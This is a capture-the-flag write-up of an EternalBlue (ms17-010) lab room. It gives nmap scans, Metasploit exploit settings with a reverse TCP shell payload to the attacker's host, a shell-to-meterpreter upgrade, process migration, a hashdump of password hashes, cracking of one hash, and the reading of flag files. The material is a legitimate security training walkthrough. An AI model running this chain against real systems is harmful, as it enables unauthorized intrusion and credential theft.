# Write-up

### <mark style="color:purple;">Task 1: RECON</mark>

*<mark style="color:blue;">How many ports are opejn with a port number under 1000?</mark>*

We start by running an **nmap** scan on ports 1-999:

```bash
sudo nmap -sCV -Pn -T5 -p1-9999 <ip_victim>
```

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfiVh0eaL-UyC1vOhFfv8-OB8rar5DN7uyZ4ZYV399qhnnqZ0N-cIybEkeSLEUlA_03Mpl7-laiS_3R2zVEl6UPwsWQloj7kNQjoDnCx5a7Byotx9ibIoxDR4FKVWX7e2RRSXB3?key=Kt9FyT_tmJA7553VGvaBZA" alt="" width="563"><figcaption></figcaption></figure>

<mark style="color:blue;">Answer:</mark> 3

*<mark style="color:blue;">What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)</mark>*

We continue by running another nmap:

```bash
sudo nmap -sCV --script vuln <ip_victim>
```

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXeVdapP7XijlPdTflpsjf-9kxoT4PgWwcbmqtSS7vLu7YObpwXmOcFsIDjPCKUGN8OInb-xhtEBtXkj3DvMJccO9WpGZBdggkGhnd4DGmnsVivt8agrzfcnFb0ZluY3J0dnTqWw0Q?key=Kt9FyT_tmJA7553VGvaBZA" alt="" width="563"><figcaption></figcaption></figure>

<mark style="color:blue;">Answer:</mark> ms17-010

***

### <mark style="color:purple;">Task 2: GAIN ACCESS</mark>

*<mark style="color:blue;">Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/.......)</mark>*

We open metasploit

```bash
msfconsole -q
search ms17-010
```

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXf8TTnoPoURrTgKhSISek7voWecPV-H-WkSd8eWrarYUw1F5SrBFzPEfNw4FXEyWTYXBnD7d7ppD5LBAEOvuRjNUB56H8RooIR1KQ3sj_jn0t3cKFkWdBFm8ZXB_N-lP3sBtjeEWA?key=Kt9FyT_tmJA7553VGvaBZA" alt="" width="563"><figcaption></figcaption></figure>

<mark style="color:blue;">Answer:</mark> exploit/windows/smb/ms17\_010\_eternalblue

*<mark style="color:blue;">Show options and set the one required value. What is the name of this value? (All caps for submission)</mark>*

To get the answer we need to select the previous exploit and watch the options

```bash
use exploit/windows/smb/ms17_010_eternalblue
show options
```

<mark style="color:blue;">Answer:</mark> RHOSTS

*<mark style="color:blue;">Usually it would be fine to run this exploit as is; however, for the sake of learning, you should do one more thing before exploiting the target. Enter the following command and press enter:</mark>*

*<mark style="color:blue;">set payload windows/x64/shell/reverse\_tcp</mark>*

To perform this we need to do the following on our msfconsole:

```bash
set RHOSTS <ip_victim>
set payload windows/x64/shell/reverse_tcp
set LHOST <our_ip>
run
```

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfopeakNsUgqwHaV78yvx1GKeOkhImdeumi99nwaD1Z7tTsQ2njv1C-cA12SiWCBEoPdZoNuV9NFei3dlmncaVqvN9Yyj7qsakke8lLSgMfPeF6elKf7LKidwq9-a9cdjBUC_rV?key=Kt9FyT_tmJA7553VGvaBZA" alt="" width="563"><figcaption></figcaption></figure>

***

### <mark style="color:purple;">Task 3: ESCALATE</mark>

*<mark style="color:blue;">If you haven't already, background the previously gained shell (CTRL+Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (exact path, similar to the exploit we previously selected)</mark>*

In order to convert a shell to meterpreter shell in metasploit we should do:

```bash
Ctrl + Z
y
sessions
search shell_to_meterpreter
use 0
```

<mark style="color:blue;">Answer:</mark> post/multi/manage/shell\_to\_meterpreter

*<mark style="color:blue;">Select this (use MODULE\_PATH). Show options, what option are we required to change?</mark>*

We should do:

```bash
show options
set SESSION <session_id>
run
```

After a while we can see another session created.

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXf4q4MXSwIWUy2nCYzUE-JbW6bA7e4p7e6J4Twc3vHpzakL0qxui1smKnxdtI8YMxU5vlLRhOFmE0EPudkR-lbw3BJR_j8hYfj1BvKoA9guILNbAR0M8poxy6WykM2F0sOIJIDLrg?key=Kt9FyT_tmJA7553VGvaBZA" alt="" width="563"><figcaption></figcaption></figure>

<mark style="color:blue;">Answer:</mark> SESSION

*<mark style="color:blue;">Once the meterpreter shell conversion completes, select that session for use.</mark>*

```
sessions 2
```

*<mark style="color:blue;">List all of the processes running via the 'ps' command. Just because we are system doesn't mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column)</mark>*

For this step and the next one, we should execute:

```
ps
// Write cmd.exe PID
migrate <PID>
```

***

### <mark style="color:purple;">Task 4: CRACKING</mark>

*<mark style="color:blue;">Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?</mark>*

Now we are going to use hashdump:

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXdgF881MjTRwkv5gg2MXYfqoyvPXC0v4U-ZgMZHg6Num9WVeSkd8ia0nXltzQVkBIHM3g6Fo7A0X65hjqi6vC9Twjsz_82LRNETqeHJXvE8dxPYgBCV1gO3iIoP-nTW1e6N0wSwSg?key=Kt9FyT_tmJA7553VGvaBZA" alt="" width="563"><figcaption></figcaption></figure>

<mark style="color:blue;">Answer:</mark> Jon

*<mark style="color:blue;">Copy this password hash to a file and research how to crack it. What is the cracked password?</mark>*

For this we should use crackstation

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXevrtTIvFglfZ1Sx0QzZwzyGLVNTqlZBIyQ_lheeYTrpPdujRM68V_P3LhjH6KZ_xAhpHj5GgYJUu6_zLEg9VLIoJvisxN_pphPzw8PmoMdZOsFgLbaag8xzu3yqU88J1kp0NcnEQ?key=Kt9FyT_tmJA7553VGvaBZA" alt="" width="563"><figcaption></figcaption></figure>

<mark style="color:blue;">Answer:</mark> alwfna22

***

### <mark style="color:purple;">Task 5: FIND FLAGS!</mark>

*<mark style="color:blue;">Flag1? This flag can be found at the system root.</mark>*

System root is in / so:

```bash
cd /
ls
cat flag1.txt
```

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXd2iwfKXR_ebruwes2xrCTnDat1GHEFRyMzocH2eC0TljX-7KJhu7ZdVX0C61cyxKpA0aVjqyjTvJ9fP3YQ_LGmYEbNuR55htkG_MYd63Rd7yIabSvZhJWBisP5RIU4MR0RrmYhAg?key=Kt9FyT_tmJA7553VGvaBZA" alt="" width="563"><figcaption></figcaption></figure>

*<mark style="color:blue;">\*Errata: Windows really doesn't like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag. This relatively rare, however, it can happen.</mark>*

So, we need to execute:

```bash
cd Windows\\System32\\config\\
ls
cat flag2.txt
```

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfXi17bzMy7bDu84DkdDyy4WN9zY7XZyczHjHFVcShV7Ihi8aQIqf3-tXZGBKSA30Q99nwnZdXlz8zygQ7ssNhuEDTE4Gn5t0KdvvdsQglKIbTHU8wlEtbfHGHJBGNkNnDer-ucDw?key=Kt9FyT_tmJA7553VGvaBZA" alt="" width="563"><figcaption></figcaption></figure>

*<mark style="color:blue;">Flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.</mark>*

After a while searching, we's founded the flag3 in C:\Users\Jon\Documents so:

```
cd C:\Users\Jon\Documents
ls
cat flag3.txt
```

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfOW56oQGT0pOhfni9gtlWe9zNczE2FuO1b9hZyu-9qNoI1Sxrs0CZbfzJmOTB45WHr5GWyPWbaxC3b_ZbiIjcyBxhjaoyp6tCC-LLuG-3rg5yecKmB3b1oE9OrRRVeajkq0IGqEA?key=Kt9FyT_tmJA7553VGvaBZA" alt="" width="563"><figcaption></figcaption></figure>

***

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXf42IA7h8wynA6reQkEXApAnlVlWeTghijcfdTwn4EdDaMNlQj7vDJgVa2_P7S25od0Mk0Sj0OJIp_MM3zPNNqpW62Xv_xaQOyOKDXAZEQ01jxDUC8AToYpuIQo66WfpYiGxLcl?key=Kt9FyT_tmJA7553VGvaBZA" alt=""><figcaption></figcaption></figure>
